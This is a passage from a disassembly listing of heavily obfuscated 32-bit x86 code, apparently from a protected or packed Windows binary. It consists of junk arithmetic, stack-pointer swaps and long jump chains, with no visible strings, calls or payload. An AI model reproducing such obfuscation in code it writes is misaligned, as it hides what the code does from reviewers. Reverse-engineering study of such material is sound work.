		jmp	loc_59C41D
; ---------------------------------------------------------------------------


loc_5A979D:				; CODE XREF: sub_58A891+1A784j
					; sub_58A891:loc_5A7160j
		xor	edi, 0EB5B29BFh
		mov	edx, edi
		pop	edi
		push	ebp
		jmp	loc_59E4AC
; ---------------------------------------------------------------------------


loc_5A97AC:				; CODE XREF: sub_58A891+1206Aj
					; sub_58A891:loc_5A2E10j
		mov	ebx, 7BC449CAh
		shr	ebx, 8
		sub	ebx, 4B024554h
		and	ebx, 2404135h
		add	ebx, 7DFC76E1h
		jmp	loc_5ADCF2
; ---------------------------------------------------------------------------


loc_5A97CB:				; CODE XREF: sub_58A891+14D5Cj
		add	esp, 4
		xor	eax, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], eax
		jmp	loc_59D0A2
; ---------------------------------------------------------------------------


loc_5A97DC:				; CODE XREF: sub_58A891+2866Fj
		mov	ecx, [edx]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_5A468E
; ---------------------------------------------------------------------------


loc_5A97E8:				; CODE XREF: sub_58A891+18163j
		mov	[esp+5Eh+var_60+2], esp
		add	[esp+5Eh+var_60+2], 4
		pop	esi
		add	esi, 4
		jmp	loc_5A297E
; ---------------------------------------------------------------------------


loc_5A97FE:				; CODE XREF: sub_58A891+148CBj
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+0E2h+var_E2]
		mov	esp, [esp+0E2h+var_E2]
		push	28AFh
		jmp	loc_5A2B92
; ---------------------------------------------------------------------------


loc_5A9811:				; CODE XREF: sub_58A891+1C3F0j
		xor	esi, [esp+0A2h+var_A2]
		pop	esp
		pop	[esp+9Eh+var_9E]
		pop	esp
		shl	word ptr [esp+96h+var_98+2], cl
		pushf
		jmp	loc_59F4B6
; ---------------------------------------------------------------------------


loc_5A9823:				; CODE XREF: sub_58A891+2465Cj
		push	esi
		mov	esi, 39456E4h
		shl	esi, 7
		not	esi
		add	esi, 43A786Ch
		add	esi, 62B76030h
		add	esi, 65C2D1BDh
		sub	edx, esi
		jmp	loc_59CDE0
; ---------------------------------------------------------------------------


loc_5A9847:				; CODE XREF: sub_58A891+1AA0Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0BAh+var_BA]
		pop	esp
		sub	al, 90h
		sub	al, 74h
		push	ebx
		jmp	loc_59E79F
; ---------------------------------------------------------------------------


loc_5A9861:				; CODE XREF: sub_58A891+1C496j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_5B23F1
; ---------------------------------------------------------------------------


loc_5A987A:				; CODE XREF: sub_58A891+2795Fj
		push	781C66B2h
		jmp	loc_5B1CE5
; ---------------------------------------------------------------------------


loc_5A9884:				; CODE XREF: sub_58A891+25810j
		add	ebx, 304B5AE4h
		mov	edi, [esp+9Eh+var_9E]
		add	esp, 4
		jmp	loc_5AEC41
; ---------------------------------------------------------------------------


loc_5A9895:				; CODE XREF: sub_58A891+21F9Bj
		sub	esp, 2
		mov	word ptr [esp+9Eh+var_9E], dx
		jmp	loc_59ECE1
; ---------------------------------------------------------------------------


loc_5A98A4:				; CODE XREF: sub_58A891+24E47j
		sub	ebx, 152B0CC1h
		sub	ebx, edx
		add	ebx, 152B0CC1h
		pop	edx
		add	ebx, edi
		add	ebx, 1D076A3Bh
		push	0B97h
		mov	[esp+9Eh+var_9E], edi
		mov	edi, 12982A4Dh
		add	ebx, 421D0BEDh
		sub	ebx, edi
		sub	ebx, 421D0BEDh
		mov	edi, [esp+9Eh+var_9E]
		jmp	loc_5AD6E1
; ---------------------------------------------------------------------------


loc_5A98DE:				; CODE XREF: sub_58A891+2228Ej
					; sub_58A891+2269Aj
		xor	esi, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		jmp	loc_5AB284
; ---------------------------------------------------------------------------


loc_5A98E9:				; CODE XREF: sub_58A891+25B0Ej
		xor	ebx, 63CA69CCh
		jns	loc_5AA158
		add	ebx, 135A8A8h
		jmp	loc_59F2B3
; ---------------------------------------------------------------------------
		push	edi


loc_5A9901:				; CODE XREF: sub_58A891+24272j
		xchg	bh, byte ptr [esp+0A2h+var_A2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9909:				; CODE XREF: sub_58A891+1B957j
		mov	ebx, 4DBD4A07h
		jmp	loc_5B1C8F
; ---------------------------------------------------------------------------


loc_5A9913:				; CODE XREF: sub_58A891+24580j
		not	[esp+0A8h+var_AA+2]
		mov	eax, [esp+0A8h+var_AA+2]
		jmp	loc_5A774D
; ---------------------------------------------------------------------------


loc_5A991E:				; CODE XREF: sub_58A891+17AD5j
		sub	edi, esi
		jmp	loc_5A7E55
; ---------------------------------------------------------------------------


loc_5A9925:				; CODE XREF: sub_58A891+118A6j
		xor	edi, eax
		pop	eax
		push	1194h
		mov	[esp+22h+var_24+2], edi
		pop	ebx
		pop	edi
		jmp	loc_59DEFF
; ---------------------------------------------------------------------------


loc_5A9937:				; CODE XREF: sub_58A891+12692j
		push	edx
		mov	edx, 521625EEh
		push	ecx
		push	edi
		mov	edi, 11A5674Dh
		jmp	loc_59D3A2
; ---------------------------------------------------------------------------


loc_5A9949:				; CODE XREF: sub_58A891+18A2Cj
		add	dh, ch
		pop	ecx
		push	ebx
		mov	bh, 60h
		push	ax
		jmp	loc_5A00DF
; ---------------------------------------------------------------------------


loc_5A9956:				; CODE XREF: sub_58A891+21D18j
		mov	eax, 1E007310h
		jmp	loc_5AF30E
; ---------------------------------------------------------------------------


loc_5A9960:				; CODE XREF: sub_58A891+27EF5j
		xor	ebx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		and	ebx, 19E0748h
		push	136Ah
		mov	[esp+0Ch+var_C], esi
		push	ebp
		mov	ebp, 53C9600Dh
		xor	ebp, 40906B64h
		jmp	loc_5A3A35
; ---------------------------------------------------------------------------


loc_5A998A:				; CODE XREF: sub_58A891+11B8Fj
		pop	small word ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9992:				; CODE XREF: sub_58A891+25C44j
		sub	ebp, edi
		jmp	loc_59D156
; ---------------------------------------------------------------------------


loc_5A9999:				; CODE XREF: sub_58A891+23B87j
		xor	edx, esi
		pop	esi
		add	edx, 6B1B5C23h
		jmp	loc_5AD1E2
; ---------------------------------------------------------------------------


loc_5A99A7:				; CODE XREF: sub_58A891+224A3j
		push	dword ptr [esp+0]
		mov	eax, [esp+0]
		jmp	loc_5A362E
; ---------------------------------------------------------------------------


loc_5A99B2:				; CODE XREF: sub_58A891+22BE9j
		push	ebx
		mov	ebx, 4A777E49h
		and	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 0A643245h
		xor	ecx, edx
		pop	edx
		add	ebp, ecx
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A3DA9
; ---------------------------------------------------------------------------


loc_5A99DB:				; CODE XREF: sub_58A891+1BAC3j
					; sub_58A891+1E8BAj
		sub	edi, 59B00106h
		pop	edx
		sub	ecx, edi
		jmp	loc_5AA85E
; ---------------------------------------------------------------------------


loc_5A99E9:				; CODE XREF: sub_58A891+1D6E8j
		push	ecx
		mov	ecx, 386A0BB7h
		push	esi
		mov	esi, ecx
		mov	edi, esi
		mov	esi, [esp+0AEh+var_AE]
		jmp	loc_5B07A9
; ---------------------------------------------------------------------------


loc_5A99FC:				; CODE XREF: sub_58A891+24379j
		add	edx, ebx
		sub	edx, 77227680h
		pop	ebx
		sub	edx, ebx
		push	ecx
		jmp	loc_5AC433
; ---------------------------------------------------------------------------


loc_5A9A0D:				; CODE XREF: sub_58A891+138CEj
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_59F412
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Eh+var_30+2]
		push	23F4h
		mov	[esp+32h+var_34+2], esi
		mov	esi, esp
		push	ebp
		jmp	loc_5A43DF
; ---------------------------------------------------------------------------


loc_5A9A29:				; CODE XREF: sub_58A891+14962j
		add	[esp+0E2h+var_E2], 0B847CBCh
		add	[esp+0E2h+var_E2], 764D2AD9h
		add	[esp+0E2h+var_E2], 6B730330h
		add	[esp+0E2h+var_E2], eax
		sub	[esp+0E2h+var_E2], 6B730330h
		sub	[esp+0E2h+var_E2], 764D2AD9h
		jmp	loc_59E382
; ---------------------------------------------------------------------------


loc_5A9A54:				; CODE XREF: sub_58A891+21CA1j
		push	esi
		jmp	loc_5A2379
; ---------------------------------------------------------------------------


loc_5A9A5A:				; CODE XREF: sub_58A891+264A0j
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0E6h+var_E8+2], ebp
		mov	ebp, 62A56E13h
		or	ebp, 48BE2D30h
		neg	ebp
		shr	ebp, 8
		jmp	loc_59D011
; ---------------------------------------------------------------------------


loc_5A9A78:				; CODE XREF: sub_58A891+1D5FFj
		push	[esp+0A6h+var_A6]
		pop	eax
		add	esp, 4
		jmp	loc_5A7BE3
; ---------------------------------------------------------------------------


loc_5A9A87:				; CODE XREF: sub_58A891+132F1j
		push	ebx
		mov	bl, 0F1h
		mov	ch, bl
		pop	ebx
		mov	al, ch
		pop	ecx
		add	dh, 0C6h
		sub	dh, al
		sub	dh, 0C6h
		pop	ax
		xor	al, dh
		mov	edx, [esp+1Ch+var_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		push	cx
		mov	cl, 0B0h
		xchg	bl, cl
		neg	bl
		push	edi
		jmp	loc_59D255
; ---------------------------------------------------------------------------


loc_5A9AC0:				; CODE XREF: sub_58A891+117FAj
		xor	[esp+36h+var_38+2], ebx
		xor	ebx, [esp+36h+var_38+2]
		pop	esp
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_5A10A3
; ---------------------------------------------------------------------------


loc_5A9ADB:				; CODE XREF: sub_58A891+196FCj
		mov	bh, 56h
		mov	dl, 0EFh
		push	3466h
		mov	[esp+46h+var_48+2], ecx
		mov	cl, 24h
		add	cl, 0FFh
		inc	cl
		sub	cl, 0F3h
		neg	cl
		jmp	loc_59D918
; ---------------------------------------------------------------------------


loc_5A9AF8:				; CODE XREF: sub_58A891+237B6j
		pop	edi
		jmp	loc_5A48CE
; ---------------------------------------------------------------------------


loc_5A9AFE:				; CODE XREF: sub_58A891+24CE0j
		sub	edx, 1B205034h
		jmp	loc_5A68D6
; ---------------------------------------------------------------------------


loc_5A9B09:				; CODE XREF: sub_58A891+13042j
		and	esi, 6C2E2C6Eh
		sub	esi, 202A2422h
		mov	ebp, esi
		jmp	loc_59DC7D
; ---------------------------------------------------------------------------


loc_5A9B1C:				; CODE XREF: sub_58A891+1B9B3j
		pop	ebp
		jmp	loc_5A0B9E
; ---------------------------------------------------------------------------


loc_5A9B22:				; CODE XREF: sub_58A891+1CE71j
		mov	[esp+0FAh+var_FC+2], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5AE3DB
; ---------------------------------------------------------------------------


loc_5A9B38:				; CODE XREF: sub_58A891+21619j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A92E8
; ---------------------------------------------------------------------------


loc_5A9B45:				; CODE XREF: sub_58A891+27A1Bj
		mov	esp, [esp+0FAh+var_FC+2]


loc_5A9B48:				; CODE XREF: sub_58A891+25A19j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A708A
; ---------------------------------------------------------------------------


loc_5A9B55:				; CODE XREF: sub_58A891+173E1j
		push	58A1246Ch
		pop	ecx
		sub	ecx, 20776A5Ah
		or	ecx, 4F5F72B9h
		jp	loc_59F778
		or	ecx, 5D364DF7h
		jmp	loc_5A9162
; ---------------------------------------------------------------------------
		mov	bh, 0E6h


loc_5A9B7B:				; CODE XREF: sub_58A891+24E7Bj
		pop	ecx
		push	edi
		jmp	loc_5ABB31
; ---------------------------------------------------------------------------


loc_5A9B82:				; CODE XREF: sub_58A891+1B4A8j
		jnb	loc_5A241E
		push	edx
		mov	edx, 0F3E7ED81h
		jmp	loc_5ACCE8
; ---------------------------------------------------------------------------
		push	[esp+7Ch+var_7C]
		jmp	loc_5A4ABA
; ---------------------------------------------------------------------------


loc_5A9B9B:				; CODE XREF: sub_58A891+14129j
					; sub_58A891+15762j
		xor	[esp+0A8h+var_AA+2], ecx
		xor	ecx, [esp+0A8h+var_AA+2]
		pop	esp
		push	3E37h
		jmp	loc_5A58C4
; ---------------------------------------------------------------------------


loc_5A9BAC:				; CODE XREF: sub_58A891+1D694j
		pop	ecx
		push	ecx
		mov	ecx, 167958F1h
		push	ebx
		jmp	loc_5A5B6D
; ---------------------------------------------------------------------------


loc_5A9BB9:				; CODE XREF: sub_58A891:loc_5A58AFj
		add	esi, 4EEF0E57h
		mov	eax, esi
		jmp	loc_5A89A4
; ---------------------------------------------------------------------------


loc_5A9BC6:				; CODE XREF: sub_58A891+14204j
		inc	ebx
		jmp	loc_5B2B72
; ---------------------------------------------------------------------------


loc_5A9BCC:				; CODE XREF: sub_58A891+260F9j
		neg	eax
		add	eax, 487706FDh
		jmp	loc_59EE40
; ---------------------------------------------------------------------------


loc_5A9BD8:				; CODE XREF: sub_58A891+21F49j
		mov	ah, bl
		mov	dl, ah
		pop	eax
		pop	ebx
		sub	bl, dl
		jmp	loc_5A429A
; ---------------------------------------------------------------------------


loc_5A9BE5:				; CODE XREF: sub_58A891+12164j
		push	eax
		jmp	loc_5B048A
; ---------------------------------------------------------------------------


loc_5A9BEB:				; CODE XREF: sub_58A891+1A2E7j
		add	edx, 4
		push	edx
		push	[esp+0A4h+var_A2+2]
		pop	edx
		pop	[esp+0A4h+var_A6+2]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp+0A4h+var_A6+2], esp
		push	ecx
		push	esi
		jmp	loc_5B0508
; ---------------------------------------------------------------------------


loc_5A9C0C:				; CODE XREF: sub_58A891+239FEj
		push	[esp+0ACh+var_AA+2]
		pop	ebp
		pop	[esp+0ACh+var_AE+2]
		pop	esp
		sub	edx, 3D780062h
		push	1F17h
		jmp	loc_5AF477
; ---------------------------------------------------------------------------


loc_5A9C25:				; CODE XREF: sub_58A891+1C62Cj
					; sub_58A891+1E72Aj
		mov	ebp, 2
		add	esi, ebp
		mov	ebp, [esp+7Eh+var_80+2]
		add	esp, 4
		push	esi
		push	[esp+7Eh+var_7C+2]
		jmp	loc_5AAA45
; ---------------------------------------------------------------------------


loc_5A9C3F:				; CODE XREF: sub_58A891+1C642j
		xchg	ebx, [esp+7Ah+var_7C+2]
		pop	esp
		sub	ebp, 0BB71B131h
		sub	edi, ebp
		push	[esp+76h+var_78+2]
		pop	ebp
		push	22F2h
		mov	[esp+7Ah+var_7C+2], ecx
		mov	ecx, esp
		jmp	loc_5B0820
; ---------------------------------------------------------------------------


loc_5A9C5E:				; CODE XREF: sub_58A891+1D313j
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edi
		mov	edi, esp
		push	6FDAh
		mov	[esp+7Eh+var_80+2], eax
		push	edi
		jmp	loc_5AAF57
; ---------------------------------------------------------------------------


loc_5A9C74:				; CODE XREF: sub_58A891+2810Ej
		xor	edi, ebx
		pop	ebx
		xor	edi, 64C3379Ah
		add	ebp, edi
		jmp	loc_59E63B
; ---------------------------------------------------------------------------
		lodsd
		push	8A4h
		mov	[esp+82h+var_84+2], ecx
		mov	ecx, 5D6B789Fh
		sub	esp, 4
		mov	[esp+86h+var_88+2], edx
		push	0D13h
		mov	[esp+8Ah+var_8C+2], ecx
		jmp	loc_5B0690
; ---------------------------------------------------------------------------


loc_5A9CA8:				; CODE XREF: sub_58A891+1528Aj
		push	eax
		mov	al, 0C0h
		shr	al, 7
		sub	al, 1
		shl	al, 3
		jmp	loc_5A7A83
; ---------------------------------------------------------------------------


loc_5A9CB8:				; CODE XREF: sub_58A891+25C9Bj
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	esi
		jmp	loc_59F959
; ---------------------------------------------------------------------------


loc_5A9CC4:				; CODE XREF: sub_58A891+128A4j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		and	eax, edi
		push	[esp+96h+var_98+2]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5B09C8
; ---------------------------------------------------------------------------


loc_5A9CDF:				; CODE XREF: sub_58A891+1ECEFj
		pop	eax
		add	esp, 4
		add	edi, 4
		jmp	loc_59FB2D
; ---------------------------------------------------------------------------


loc_5A9CEE:				; CODE XREF: sub_58A891+12C7Fj
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		jmp	loc_59EBE4
; ---------------------------------------------------------------------------


loc_5A9CFC:				; CODE XREF: sub_58A891+17440j
		inc	ecx
		jp	loc_5AB570
		or	ecx, 2FB446F4h
		jb	loc_5AB4CA
		sub	ecx, 2CDD6843h
		jo	loc_5A1408
		xor	ecx, 3D8119ECh
		push	69D0h
		mov	[esp+6Ch+var_6C], ecx
		not	[esp+6Ch+var_6C]
		pop	ecx
		push	eax
		mov	eax, 62A7755Fh
		jmp	loc_5A0CA3
; ---------------------------------------------------------------------------


loc_5A9D38:				; CODE XREF: sub_58A891+22232j
		mov	edi, 23F17255h
		add	[esp+6Ch+var_64], edi
		jmp	loc_5AA866
; ---------------------------------------------------------------------------


loc_5A9D46:				; CODE XREF: sub_58A891+12866j
		mov	ebx, [esp+0]
		jmp	loc_59E0B1
; ---------------------------------------------------------------------------


loc_5A9D4E:				; CODE XREF: sub_58A891+25334j
		add	[esp+9Ah+var_98+2], ecx
		pop	ecx
		pop	eax
		push	ebx
		jmp	loc_5A43C2
; ---------------------------------------------------------------------------


loc_5A9D5A:				; CODE XREF: sub_58A891+171C3j
		mov	ebp, 510E01A7h
		sub	ebp, 3E6D7B80h
		jmp	loc_59E641
; ---------------------------------------------------------------------------


loc_5A9D6A:				; CODE XREF: sub_58A891+1B5D6j
		sub	ecx, 146F3935h
		xor	ecx, 575287EAh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5ABBB3
; ---------------------------------------------------------------------------


loc_5A9D7E:				; CODE XREF: sub_58A891+236A0j
		pop	[esp+96h+var_98+2]
		mov	esp, [esp+92h+var_94+2]
		push	ebx
		push	3AD5h
		mov	[esp+0], edi
		push	1C541F15h
		pop	edi
		jmp	loc_59E012
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		jmp	loc_5A5E9B
; ---------------------------------------------------------------------------


loc_5A9DA1:				; CODE XREF: sub_58A891+2099Bj
		pop	dword ptr [esp+0]
		mov	esp, [esp+96h+var_98+2]
		jmp	loc_5AA39C
; ---------------------------------------------------------------------------


loc_5A9DAC:				; CODE XREF: sub_58A891+1DD68j
		push	edx
		push	esi
		mov	esi, 77C10AADh
		push	esi
		pop	edx
		pop	esi
		push	1B6Fh
		mov	[esp+68h+var_68], ebp
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 693178D8h
		mov	edi, 0B457B32Eh
		sub	edi, ebx
		jmp	loc_5A196F
; ---------------------------------------------------------------------------


loc_5A9DD9:				; CODE XREF: sub_58A891+19346j
		push	697Dh
		mov	[esp+7Ch+var_7C], ebx
		mov	ebx, esp
		jmp	loc_5A017E
; ---------------------------------------------------------------------------


loc_5A9DE8:				; CODE XREF: sub_58A891+19D2Cj
		add	edx, esi
		sub	edx, 735E3AA2h
		mov	esi, [esp+0B0h+var_B2+2]
		jmp	loc_59CFCE
; ---------------------------------------------------------------------------


loc_5A9DF8:				; CODE XREF: sub_58A891+13895j
		add	esp, 4
		add	esi, edi
		jmp	loc_5A2752
; ---------------------------------------------------------------------------


loc_5A9E05:				; CODE XREF: sub_58A891+1C234j
		inc	ebx
		xor	ebx, 4AB56312h
		shr	ebx, 3
		sub	ebx, 14346B7Eh
		jmp	loc_5ACC22
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A0h+var_A2+2]
		push	1145h
		mov	[esp+0A4h+var_A6+2], esi
		push	2440h
		mov	[esp+0A8h+var_AA+2], esp
		add	[esp+0A8h+var_AA+2], 4
		mov	esi, [esp+0A8h+var_AA+2]
		add	esp, 4
		push	eax
		push	571C5BDEh
		mov	eax, [esp+0ACh+var_AE+2]
		add	esp, 4
		not	eax
		push	ebx
		mov	ebx, 5E0C3924h
		not	ebx
		push	ecx
		mov	ecx, 0A3ABA1B6h
		add	ebx, ecx
		pop	ecx
		sub	eax, 264913FDh
		sub	eax, 257718D5h
		sub	eax, ebx
		add	eax, 257718D5h
		add	eax, 264913FDh
		pop	ebx
		sub	eax, 63443B8Ch
		add	esi, eax
		jmp	loc_5A698E
; ---------------------------------------------------------------------------


loc_5A9E7A:				; CODE XREF: sub_58A891+13508j
					; sub_58A891+26E21j
		pop	eax
		or	ecx, edi
		jmp	loc_5AD6C5
; ---------------------------------------------------------------------------


loc_5A9E82:				; CODE XREF: sub_58A891+19513j
		push	edi
		push	[esp+52h+var_50+2]
		jmp	loc_5B0B4D
; ---------------------------------------------------------------------------


loc_5A9E8C:				; CODE XREF: sub_58A891+21F6Aj
		pop	eax
		push	36BDh
		mov	[esp+56h+var_58+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A2521
; ---------------------------------------------------------------------------


loc_5A9EA2:				; CODE XREF: sub_58A891+205FFj
		mov	ebx, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5ACC5C
; ---------------------------------------------------------------------------


loc_5A9EAD:				; CODE XREF: sub_58A891+2752Fj
		shl	edi, 7
		add	edi, 67E5369Ah
		sub	eax, edi
		jmp	loc_5A8233
; ---------------------------------------------------------------------------


loc_5A9EBD:				; CODE XREF: sub_58A891+274DDj
		pop	ecx
		jmp	loc_59CC31
; ---------------------------------------------------------------------------


loc_5A9EC3:				; CODE XREF: sub_58A891+17386j
		dec	edx
		and	edx, 5D112A2Fh
		jo	loc_5AFBCA
		add	edx, 0D252F60h
		shl	edx, 5
		xor	edx, 381A7A16h
		js	loc_5A3229
		sub	edx, 0DBF07105h
		jmp	loc_5AD290
; ---------------------------------------------------------------------------


loc_5A9EF0:				; CODE XREF: sub_58A891+1E266j
		add	esi, 6992CB7h
		jle	loc_5A7860
		jmp	loc_59E152
; ---------------------------------------------------------------------------
		dec	edx
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------


loc_5A9F07:				; CODE XREF: sub_58A891+18B8Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ah+var_3C+2]
		jmp	loc_5AF661
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: sub_58A891+19E02j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp+0D2h+var_D2]
		mov	esp, [esp+0D2h+var_D2]
		mov	[esp+0D2h+var_D2], edi
		jmp	loc_5AB5E7
; ---------------------------------------------------------------------------


loc_5A9F31:				; CODE XREF: sub_58A891+1C6AAj
		dec	ebx
		push	eax
		jmp	loc_5AE512
; ---------------------------------------------------------------------------


loc_5A9F38:				; CODE XREF: sub_58A891+16ED3j
		and	ebx, 6DE717D8h
		and	ebx, 10E02BFFh
		jo	loc_5AA6A5
		and	ebx, 14932A94h
		jns	loc_5A3064
		not	ebx
		sub	ebx, 7F80EB55h
		mov	edx, 9D085821h


loc_5A9F63:				; CODE XREF: sub_58A891+1E862j
		mov	[esp+12h+var_14+2], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AB0A6
; ---------------------------------------------------------------------------


loc_5A9F73:				; CODE XREF: sub_58A891+1F78Cj
		xor	ecx, edi
		mov	edi, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		xor	[esp+12h+var_14+2], 54537D03h
		push	[esp+12h+var_14+2]
		jmp	loc_5A097F
; ---------------------------------------------------------------------------


loc_5A9F8B:				; CODE XREF: sub_58A891+19B1Dj
		not	esi
		xor	esi, 0C3D78DFEh
		sub	ebx, esi
		pop	esi
		push	esi
		mov	esi, 6B105B81h
		jmp	loc_59E1DD
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5B01DE
; ---------------------------------------------------------------------------


loc_5A9FA9:				; CODE XREF: sub_58A891+24861j
		mov	ecx, [esp+0BCh+var_BE+2]
		push	3B3Ch
		mov	[esp+0C0h+var_C2+2], eax
		mov	eax, esp
		jmp	loc_5B1F06
; ---------------------------------------------------------------------------


loc_5A9FBB:				; CODE XREF: sub_58A891+15C92j
					; sub_58A891+1C35Bj
		mov	cl, 0D6h
		jmp	loc_5AF305
; ---------------------------------------------------------------------------


loc_5A9FC2:				; CODE XREF: sub_58A891+145B6j
					; sub_58A891+24838j
		pop	eax
		add	edi, 4
		sub	esp, 4
		mov	[esp+42h+var_44+2], edi
		jmp	loc_5AE5E8
; ---------------------------------------------------------------------------


loc_5A9FD1:				; CODE XREF: sub_58A891+17FC7j
		jo	loc_5A45F7
		add	ecx, 3020C204h
		add	edi, ecx
		push	[esp+0B2h+var_B2]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+0B2h+var_B2]
		push	eax
		jmp	loc_5AFE67
; ---------------------------------------------------------------------------


loc_5A9FF7:				; CODE XREF: sub_58A891+1B1E9j
		xchg	ebx, [esp+5Ah+var_5C+2]
		pop	esp
		mov	[esp+56h+var_58+2], ebx
		mov	eax, [esp+56h+var_58+2]
		push	5321h
		mov	[esp+5Ah+var_5C+2], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		push	ecx
		mov	ecx, 20F80339h
		push	edi
		mov	edi, 20F8033Dh
		jmp	loc_5A9F73
; ---------------------------------------------------------------------------


loc_5AA022:				; CODE XREF: sub_58A891+13D66j
		push	7EC0h
		mov	[esp+0AAh+var_AA], edi
		push	ebx
		push	esi
		mov	esi, 42432BA9h
		jmp	loc_5ABEAF
; ---------------------------------------------------------------------------


loc_5AA036:				; CODE XREF: sub_58A891+124A2j
		push	401Dh
		mov	[esp+0AEh+var_AE], eax
		jmp	loc_59D706
; ---------------------------------------------------------------------------


loc_5AA043:				; CODE XREF: sub_58A891+174C7j
					; sub_58A891+21C12j
		mov	edx, 61FB442Ah
		jmp	loc_5B2C08
; ---------------------------------------------------------------------------


loc_5AA04D:				; CODE XREF: sub_58A891+265C3j
		sub	ecx, 47092A03h
		jmp	loc_5A7A7D
; ---------------------------------------------------------------------------


loc_5AA058:				; CODE XREF: sub_58A891+27F63j
		push	[esp+74h+var_74]
		jmp	loc_59EBB6
; ---------------------------------------------------------------------------


loc_5AA060:				; CODE XREF: sub_58A891+22FB1j
		sub	eax, esi
		push	ebp
		mov	ebp, 70834C12h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A2A90
; ---------------------------------------------------------------------------


loc_5AA070:				; CODE XREF: sub_58A891+1811Ej
					; sub_58A891+1C1EBj
		push	edx
		mov	edx, 0A1614386h
		add	ebx, 412218ECh
		jmp	loc_5A5C9A
; ---------------------------------------------------------------------------


loc_5AA081:				; CODE XREF: sub_58A891+12324j
					; sub_58A891+1BC11j
		mov	esi, 3CDC0EC0h
		and	esi, 2B334E54h
		jmp	loc_5AB9A9
; ---------------------------------------------------------------------------


loc_5AA091:				; CODE XREF: sub_58A891+1AD3Aj
		add	esp, 4
		push	ecx
		jmp	loc_59E9DA
; ---------------------------------------------------------------------------


loc_5AA09A:				; CODE XREF: sub_58A891+15ED1j
					; sub_58A891+1B32Dj
		pop	ebp
		pop	[esp+62h+var_64+2]
		jmp	loc_5B16E3
; ---------------------------------------------------------------------------


loc_5AA0A3:				; CODE XREF: sub_58A891+1DCA0j
		push	eax
		mov	eax, 1C436D3Ch
		and	edi, eax
		jmp	loc_5A349C
; ---------------------------------------------------------------------------


loc_5AA0B0:				; CODE XREF: sub_58A891+1549Dj
		add	esi, 4
		push	esi
		jmp	loc_5AB94B
; ---------------------------------------------------------------------------


loc_5AA0BC:				; CODE XREF: sub_58A891+12D1Dj
		pop	ebx
		and	edx, 183979A4h
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 691172E0h
		add	ecx, 471F4230h
		shr	ecx, 7
		not	ecx
		jmp	loc_5AA8E4
; ---------------------------------------------------------------------------


loc_5AA0E1:				; CODE XREF: sub_58A891+16F1Dj
		add	eax, 4
		add	eax, 4
		jmp	loc_59E2F9
; ---------------------------------------------------------------------------


loc_5AA0F0:				; CODE XREF: sub_58A891+14CABj
		push	ebx
		mov	ebx, 7C667FB6h
		sub	esi, ebx
		pop	ebx
		or	esi, 1A1B2366h
		dec	esi
		sub	esi, 0C5BA3E79h
		and	ebp, esi
		pop	esi
		push	edi
		mov	edi, 1C994A20h
		xor	edi, 882BE63Bh
		sub	ebp, edi
		pop	edi
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 6B6430EDh
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A1F33
; ---------------------------------------------------------------------------


loc_5AA129:				; CODE XREF: sub_58A891+157BAj
		mov	[esp+42h+var_44+2], ebp
		mov	ebp, 5A823483h
		sub	eax, 4B75189Bh
		add	eax, ebp
		jmp	loc_5AE581
; ---------------------------------------------------------------------------


loc_5AA13D:				; CODE XREF: sub_58A891+1682Fj
		mov	ecx, edx
		pop	edx
		jmp	loc_5AE07E
; ---------------------------------------------------------------------------


loc_5AA145:				; CODE XREF: sub_58A891:loc_59CBBAj
